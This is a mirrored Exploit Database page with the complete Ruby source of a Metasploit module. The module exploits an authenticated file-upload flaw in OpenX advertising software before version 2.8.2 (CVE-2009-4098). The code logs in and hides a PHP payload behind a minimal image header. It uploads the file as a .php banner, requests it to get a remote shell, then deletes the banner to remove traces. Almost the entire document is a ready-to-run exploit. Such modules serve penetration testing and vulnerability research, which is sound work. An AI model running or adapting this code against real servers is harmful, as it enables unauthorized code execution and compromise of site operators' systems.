OpenX – ‘banner-edit.php’ Arbitrary File Upload / PHP Code Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16903/

• ##
  # $Id: openx_banner_edit.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'OpenX banner-edit.php File Upload PHP Code Execution',
  			'Description'=> %q{
  					This module exploits a vulnerability in the OpenX advertising software.
  				In versions prior to version 2.8.2, authenticated users can upload files
  				with arbitrary extensions to be used as banner creative content. By uploading
  				a file with a PHP extension, an attacker can execute arbitrary PHP code.
  
  				NOTE: The file must also return either "png", "gif", or "jpeg" as its image
  				type as returned from the PHP getimagesize() function.
  			},
  			'Author' => [ 'jduck' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-4098' ],
  					[ 'OSVDB', '60499' ],
  					[ 'BID', '37110' ],
  					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],
  					[ 'URL', 'https://developer.openx.org/jira/browse/OX-5747' ],
  					[ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],
  					# References for making small images:
  					[ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],
  					[ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],
  					[ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],
  					[ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],
  					[ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],
  					[ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'ConnectionType' => '-find',
  						},
  					'Space' => 1024,
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Nov 24 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('URI', [true, "OpenX directory path", "/openx/"]),
  				OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
  				OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),
  				OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),
  			], self.class)
  	end
  
  	def check
  		uri = ''
  		uri << datastore['URI']
  		uri << '/' if uri[-1,1] != '/'
  		uri << 'www/admin/'
  		res = send_request_raw(
  			{
  				'uri' => uri
  			}, 25)
  
  		if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
  			ver = $1
  			vers = ver.split('.').map { |v| v.to_i }
  			return Exploit::CheckCode::Safe if (vers[0] > 2)
  			return Exploit::CheckCode::Safe if (vers[1] > 8)
  			return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		# tiny images :)
  		tiny_gif = "GIF89a" +
  			"\x01\x00\x01\x00\x00" +
  			[1,1,0x80|(2**(2+rand(3)))].pack('nnC') +
  			"\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
  		tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +
  			rand_text_alphanumeric(8) +
  			[1,1,0].pack('NNC')
  		tiny_jpeg = "\xff\xd8\xff\xff" +
  			[0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')
  		tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]
  
  		# Payload
  		cmd_php = '<?php ' + payload.encoded + '?>'
  		content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php
  
  		# Static files
  		img_dir = 'images/'
  		uri_base= ''
  		uri_base << datastore['URI']
  		uri_base << '/' if uri_base[-1,1] != '/'
  		uri_base << 'www/'
  
  		# Need to login first :-/
  		cookie = openx_login(uri_base)
  		if (not cookie)
  			raise RuntimeError, 'Unable to login!'
  		end
  		print_status("Logged in successfully (cookie: #{cookie})")
  
  		# Now, check for an advertiser / campaign
  		ids = openx_find_campaign(uri_base, cookie)
  		if (not ids)
  			# TODO: try to add an advertiser and/or campaign
  			raise RuntimeError, 'The system has no advertisers or campaigns!'
  		end
  		adv_id = ids[0]
  		camp_id = ids[1]
  		print_status("Using advertiser #{adv_id} and campaign #{camp_id}")
  
  		# Add the banner >:)
  		ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
  		if (not ban_id)
  			raise RuntimeError, 'Unable to upload the banner!'
  		end
  		print_status("Successfully uploaded the banner image with id #{ban_id}")
  
  		# Find the filename
  		ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
  		if (not ban_fname)
  			raise RuntimeError, 'Unable to find the banner filename!'
  		end
  		print_status("Resolved banner id to name: #{ban_fname}")
  
  		# Request it to trigger the payload
  		res = send_request_raw({
  				'uri' => uri_base + 'images/' + ban_fname + '.php'
  			})
  
  		# Delete the banner :)
  		if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
  			print_error("WARNING: Unable to automatically delete the banner :-/")
  		else
  			print_status("Successfully deleted banner # #{ban_id}")
  		end
  
  		print_status("You should have a session now.")
  
  		handler
  
  	end
  
  
  	def openx_login(uri_base)
  
  		res = send_request_raw(
  			{
  				'uri' => uri_base + 'admin/index.php'
  			}, 10)
  		if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)
  			return nil
  		end
  		cookie = $1
  
  		res = send_request_cgi(
  			{
  				'method'=> 'POST',
  				'uri' => uri_base + 'admin/index.php',
  				'vars_post' =>
  					{
  						'oa_cookiecheck' => cookie,
  						'username' => datastore['USERNAME'],
  						'password' => datastore['PASSWORD'],
  						'login' => 'Login'
  					},
  				'headers' =>
  					{
  						'Cookie'=> "sessionID=#{cookie}; PHPSESSID=#{cookie}",
  					},
  			}, 10)
  		if (not res or res.code != 302)
  			return nil
  		end
  
  		# return the cookie
  		cookie
  	end
  
  
  	def openx_find_campaign(uri_base, cookie)
  		res = send_request_raw(
  			{
  				'uri' => uri_base + 'admin/advertiser-campaigns.php',
  				'headers' =>
  					{
  						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
  					},
  			})
  		if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)
  			return nil
  		end
  
  		adv_id = $1.to_i
  		camp_id = $2.to_i
  
  		[ adv_id, camp_id ]
  	end
  
  
  	def mime_field(boundary, name, data, filename = nil, type = nil)
  		ret = ''
  		ret << '--' + boundary + "\r\n"
  		ret << "Content-Disposition: form-data; name=\"#{name}\""
  		if (filename)
  			ret << "; filename=\"#{filename}\""
  		end
  		ret << "\r\n"
  		if (type)
  			ret << "Content-Type: #{type}\r\n"
  		end
  		ret << "\r\n"
  		ret << data + "\r\n"
  		ret
  	end
  
  
  	def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)
  		# Generate some random strings
  		boundary= ('-' * 8) + rand_text_alphanumeric(32)
  		cmdscript = rand_text_alphanumeric(8+rand(8))
  
  		# Upload payload (file ending .php)
  		data = ""
  		data << mime_field(boundary, "_qf__bannerForm", "")
  		data << mime_field(boundary, "clientid", adv_id.to_s)
  		data << mime_field(boundary, "campaignid", camp_id.to_s)
  		data << mime_field(boundary, "bannerid", "")
  		data << mime_field(boundary, "type", "web")
  		data << mime_field(boundary, "status", "")
  		data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")
  		data << mime_field(boundary, "replaceimage", "t")
  		data << mime_field(boundary, "replacealtimage", "t")
  		data << mime_field(boundary, "description", datastore['DESC'])
  		data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")
  		data << mime_field(boundary, "checkswf", "1")
  		data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")
  		data << mime_field(boundary, "url", "http://")
  		data << mime_field(boundary, "target", "")
  		data << mime_field(boundary, "alt", "")
  		data << mime_field(boundary, "statustext", "")
  		data << mime_field(boundary, "bannertext", "")
  		data << mime_field(boundary, "keyword", "")
  		data << mime_field(boundary, "weight", "1")
  		data << mime_field(boundary, "comments", "")
  		data << mime_field(boundary, "submit", "Save changes")
  		#data << mime_field(boundary, "", "")
  		data << '--' + boundary + '--'
  
  		res = send_request_raw(
  			{
  				'uri' => uri_base + "admin/banner-edit.php",
  				'method'=> 'POST',
  				'data'=> data,
  				'headers' =>
  					{
  						'Content-Length' => data.length,
  						'Content-Type' => 'multipart/form-data; boundary=' + boundary,
  						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
  					}
  			}, 25)
  
  		if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
  			return nil
  		end
  
  		# Ugh, now we have to get the banner id!
  		res = send_request_raw(
  			{
  				'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}",
  				'method'=> 'GET',
  				'headers' =>
  					{
  						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
  					}
  			})
  
  		if not (res and res.body.length > 0)
  			return nil
  		end
  
  		res.body.each_line { |ln|
  			# make sure the title we used is on this line
  			regexp = Regexp.escape(datastore['DESC'])
  			next if not (ln =~ /#{regexp}/)
  
  			next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)
  
  			# found it! (don't worry about dupes)
  			return $1.to_i
  		}
  
  		# Didn't find it :-/
  		nil
  	end
  
  
  	def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
  		# Ugh, now we have to get the banner name too!
  		res = send_request_raw(
  			{
  				'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
  				'method'=> 'GET',
  				'headers' =>
  					{
  						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
  					}
  			})
  
  		if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)
  			return nil
  		end
  
  		return $1
  	end
  
  
  	def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)
  		res = send_request_raw(
  			{
  				'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
  				'method'=> 'GET',
  				'headers' =>
  					{
  						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
  					}
  			})
  
  		if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
  			return nil
  		end
  
  		true
  	end
  
  end